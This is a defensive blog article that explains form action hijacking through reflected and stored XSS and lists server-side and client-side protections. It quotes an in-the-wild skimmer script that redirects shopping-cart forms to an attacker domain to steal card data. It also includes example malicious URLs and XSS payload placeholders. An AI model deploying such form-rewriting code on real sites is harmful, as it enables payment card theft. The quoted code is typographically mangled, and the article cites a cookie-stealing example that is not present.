What is form action hijacking, and how to defend against it?

Form action hijacking is a type of cyber attack that can occur when unvalidated user input changes the action URL of an HTML form, delivering the form’s content to the attacker. An attacker can craft a malicious URL that modifies the action URL of an HTML form to point to a server under the attacker’s control. All of the form’s content, including user-supplied info such as username and password, form input, and CSRF tokens, are sent to the attacker’s server.

Let’s unpack that a little bit by providing some definitions.

Action URL

The action URL defines where the form data will be sent. When you fill out a form online and hit the “submit” button, all the info you entered and a couple of other pieces of data are sent to the action URL. If a web form is vulnerable to form action hijacking, the attacker is able to modify the action URL.

The action URL works in conjunction with the method parameter (GET or POST). The POST method sends the form data in the body of the HTTP request and is more commonly used than GET as it can include much more data. The GET method sends the form data within the URL, and hence the number of characters that can be sent is limited.

Let’s provide a few examples. Take the following malicious URL:

https://typicalwebsite.com/?url=https://attackerwebsite.com

The action URL in the example above is

https://attackerwebsite.com

As a POST request, the body of the resulting HTTP request could look something like this:

<form name="form1" id="form1" method="post" action="https://attackerwebsite.com">
  <input type="text" name="id" value="username">
  <input type="password" name="pass" value="password">
  <input type="submit" name="submit" value="Submit">
</form>

Using GET, it would look something like this:

https://www.typicalwebsite.com/attackerwebsite.com?id=username&pass=password

CSRF tokens

Cross-Site Request Forgery (CSRF) tokens are unique and unpredictable alphanumeric strings generated by the web server and transmitted to the requesting client. That string is then included in all subsequent HTTP requests made to the server by the client. Once a subsequent request is made, the server will only accept it if it includes the expected CSRF token. If the token is missing or invalid, the server rejects the request.

Once an attacker has your CSRF token, it opens the door to CSRF attacks. A CSRF attack dupes the victim into executing detrimental actions after being authenticated in a web application.

Social engineering techniques (i.e., sending the victim a link via email or chat) are typically used to achieve this. If the victim is a regular user, a successful CSRF attack can trick them into unwittingly transferring funds, changing their email address, making unwanted purchases, etc. If the victim uses an administrative account, a successful CSRF attack can compromise the entire web application.

Reliance on Cross-Site Scripting (XSS)

Form action hijacking attacks rely on XSS vulnerabilities, namely reflected XSS and stored XSS vulnerabilities. Both of these vulnerabilities allow an attacker to manipulate a user’s interaction with a website/application by tricking the victim into executing an attacker-supplied script that is either reflected or stored by the website/application.

A website/application is vulnerable to a reflected XSS attack if it accepts user input and reflects the results back to the user without having validated the input. An example of this would be a search field. The results are simply reflected back to you whenever you perform a search, based on the search term you entered.

So if a website/application has an input field that doesn’t perform input validation, an attacker could craft a URL that links to a malicious script by submitting a query in that vulnerable field which the website would then reflect this like so:

http://xssvulnerablesite.com/search?search_term=”<script>(MaliciousScript)</script>”

The attacker could then send the victim an email or a text message (social engineering) in an attempt to trick them into clicking the link. This, in turn, would cause the script to be executed and the fun to begin…

In a stored XSS attack, the attacker’s script is stored on the server itself. The attack is triggered through typical user interaction with the web application or website. Social engineering techniques to trick the victim into clicking a malicious link are not required.

A stored XSS attack could be pulled off by manipulating a vulnerable website’s review system or support forums – places where users can post or upload content for others to view.

Here is how a vulnerable website could display user reviews:

print “<html>”
print “<h1>User1 review</h1>”
print database.user1review
print “</html>

All the vulnerable site/application does is store user1’s input (their review and any attachments the user included) in its database and display it without validation (like making sure it is only plain text). Because no input validation is performed, an attacker could submit a review that contains a malicious script:

<script>MaliciousScript();</script>

Resulting in:

<html>
<h1>User1 review</h1>
<script>MaliciousScript();</script>
<html>

When a victim loads the webpage, their browser will execute the script because it is from what the browser considers a trusted source. And the script could achieve any number of things, including changing the action URL of one of the website/application’s forms.

Two types of form action hijacking attacks

There are two types of form action hijacking attacks, based on how the attack was pulled off – exploiting either the reflected XSS or the stored XSS vulnerabilities.

Reflected form action hijacking attack

A reflected form hijacking attack can occur when the action URL is changed via a reflected XSS attack. In this scenario, the attacker would craft the malicious URL and use social engineering techniques to try and compel the user to click on the link. A bogus email appearing to come from a service the victim has a relationship with would be a good way to trick them. The email could state that there’s a hiccup with their account and that they need to re-enter their credit card details via a form that is accessible via the malicious link.

If the victim falls for it and clicks the link, they will be directed to the correct website. However, that click will also send the information submitted in the form to the attacker.

Stored form action hijacking attack

A stored form hijacking attack can occur when the action URL is changed via a stored XSS attack. Within the context of a stored form action hijacking attack, the attacker exploits a website/application’s vulnerable comment system, review system, etc. – any part of the website that stores and displays unvalidated user input.

In this scenario, the attacker uploads their script to the server through its vulnerable commenting, reviewing, etc., system. From that point on, whenever an unsuspecting user renders a page with the poisoned comment or review, their browser will transparently execute the script because, as mentioned above, the browser considers it to be from a trusted source. But the script would modify the action URL of one of the site/application’s forms. If that user fills out the form and submits it, they’re actually sending that content to a server under the attacker’s control.

Example of a form action hijacking attack

In January 2020, the security-oriented site, sucuri.net, discovered a form action hijacking attack in the wild. This particular attack targeted the American shopping website AmeriCommerce. The attackers had managed to store their malicious script on the AmeriCommerce site. That script loaded the following code:

window.onload = function (){
var formElems = document.getElementsByTagName(‘form’);
for (var i = formElems.length - 1 ; i >= 0; i—) {
   var local = formElems[i].getAttribute(’action’);
   if (local.indexOf(‘americommerce.com/store/addtocart') > 0 ){
      formElems[i].setAttribute(‘action’.’https://www.pay.shoppingcommerce.pw/shopcart.php?add.x=15&add.y=16);
   }
}
};

The script would modify the action URL of the site’s shopping cart. So when an unsuspecting user would load the page, the script would run, and when they clicked the ‘Add to cart’ button, they would be taken to a fake shopping cart page (www.pay.shoppingcommerce.pw), crafted by the attacker and made to look like the original, legitimate shopping cart page. This spoofed page would ask the victim for their credit card information. If the victim entered it and clicked the ‘Submit’ button, they would see an error message stating that their payment didn’t go through and that they should try again later.

While it’s true that the victims’ payment wouldn’t actually go through, their credit card information would end up in the attacker’s hands. So the fact that the transaction didn’t happen would be of minimal comfort – their sensitive personal information is now compromised. Identity theft, account lock-outs, and unauthorized purchases, to name just a few, are now all within the attacker’s reach.

How to protect against form action hijacking attacks?

The most direct way to mitigate form action hijacking attacks is to either hard code your action URLs or implement a safelist of acceptable values. And as a general rule, you should always sanitize (validate) user input.

However, because these kinds of attacks depend on XSS vulnerabilities, protecting your site/application from XSS attacks is going to prove vital as well. I previously wrote an article on preventing XSS attacks, which I recommend reading if you’d like more information on the subject.

How to prevent XSS attacks

The way you prevent cross-site scripting attacks will depend on the type of XSS vulnerability, the user input context, and the programming framework. But, there are still some general tips you should follow to keep your website/application safe.

Be aware as you build

Developers need to be mindful of XSS vulnerabilities and keep them in mind as the code. Ensure every relevant group in your organization, from the devs to QA, has received adequate training on these issues.

Don’t trust user input

This one is critical. Consider all user input as untrusted. Any user input that is included in the HTML output creates the risk of an XSS attack. And the more user input there is, the bigger the risk becomes. Treat input from all users, whether authenticated users, internal users, or public users, the same way: don’t trust it.

Set the HttpOnly flag

Setting the HttpOnly flag for cookies can help mitigate potential XSS vulnerabilities. Setting the HttpOnly flag ensures that cookies will not be accessible via client-side JavaScript (as in our cookie-stealing example above), only through HTTP.

Use escaping/encoding

Use a proper escaping/encoding technique based on where the user input will be used: HTML escape, JavaScript escape, URL escape, etc. It is also strongly recommended to use existing libraries for escaping rather than writing your own.

Sanitize your HTML

There’s a good chance that you won’t be able to escape/encode user input that contains HTML without breaking valid tags. To work around this, use a trusted and verified library to parse and clean the HTML. Make sure to choose the proper library for your development language.

Use a Content Security Policy

Use a Content Security Policy (CSP) to mitigate the consequences of XSS vulnerabilities further. CSP is an HTTP response header that lets you determine which dynamic resources can be loaded based on the request’s source.

Use a web vulnerability scanner and perform regular scans

Your web application or website needs a web vulnerability scanner – just as a personal computer requires a virus scanner (antivirus). There are many different ones available from various vendors. A web vulnerability scanner performs regular scans of your web application/website and alerts you of any issues it finds.

Client-side guidelines

While there are limits to what a user can do to mitigate form action hijacking attacks, there are some common-sense measures that will help, and that just make sense, regardless of any particular attack you’re trying to prevent. The following client-side defenses are just that: common-sense measures that any internet user should follow.

  • Use a firewall – Every major operating system has a built-in incoming firewall, and all commercial routers available have a built-in NAT firewall. Make sure to enable these.
  • Never click on pop-ups. Ever.
  • If your browser displays a warning about a website you are trying to access, pay attention to the notice and get the information you need elsewhere.
  • Only open email attachments if you trust the sender and that you can verify their identity – viruses can come in the mail, and so it’s always a good idea to scan all your incoming mail with an antivirus program.
  • Keep your programs up to date. Malware and viruses typically try to exploit security flaws found in outdated software.
  • If you receive an email asking for information while claiming to be from an official organization with which you have a relationship, read it very carefully before doing anything. Does it have spelling and grammar mistakes? Does it have an air of urgency? These are classic signs of a phishing attempt. And remember that your bank or the government will never ask you to send them sensitive information by email.
  • Don’t click links (URLs) in emails unless you know exactly who sent the URL and where it leads. Even then, you should carefully inspect the link. Does the URL use HTTP or HTTPS? The overwhelming majority of websites today use HTTPS. Does the link contain spelling mistakes (gooogle instead of google)? If you can get to the destination without using the link, do that instead.

As always, stay safe.